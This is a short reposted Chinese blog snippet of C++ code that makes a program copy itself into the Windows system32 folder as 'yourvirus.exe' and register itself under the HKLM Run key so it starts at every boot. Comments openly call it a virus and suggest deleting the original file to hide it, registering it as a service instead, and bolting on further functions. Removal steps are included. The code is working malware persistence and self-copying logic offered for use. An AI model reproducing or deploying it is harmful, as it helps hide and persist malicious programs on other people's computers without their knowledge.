C++ 程序开机自动运行

来源:互联网 发布:会对话的软件 编辑:程序博客网 时间:2024/05/02 19:05

#include <windows.h>
#include <iostream.h>
/*
功能:使文件开机自动运行
思路:
获取文件的路径,将文件拷贝到系统文件夹之下;
在注册表中注册文件路径,使其开机自动运行。
提示:
如果要隐藏,另外可以在以上执行完毕之后,删除原始文件.
当然,还可以通过注册程序为系统服务,使其开机自动运行.
删除:
在执行程序之后,执行以下操作,使系统恢复原状:
1. 删除 C:\WINDOWS\system32\yourvirus.exe
2. 打开注册表:
   [HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
   删除键:Writing to the Registry Example
*/
void main()
{
char system[MAX_PATH]; //系统目录路径
char pathtofile[MAX_PATH]; //要开机运行的文件的完整路径
HMODULE GetModH = GetModuleHandle(NULL);

//得到当前执行文件的全路径
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));

//得到系统文件所在目录的路径,如c:\windows\system32
GetSystemDirectory(system,sizeof(system));

//形成要复制到的全路径,如c:\windows\system32\yourvirus.exe
strcat(system,"\\yourvirus.exe");

//自我复制到目标路径
CopyFile(pathtofile,system,false);

//写入注册表,以便开机自动运行
HKEY hKey;

//打开注册表:路径如下
//HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

//新增一个值,名称随意命名,值为要开机运行的文件的完整路径
RegSetValueEx(hKey, "Writing to the Registry Example",
0,REG_SZ,(const unsigned char*)system,sizeof(system));

//关闭注册表:
RegCloseKey(hKey);

/*可以加入其他功能*/

}

0 0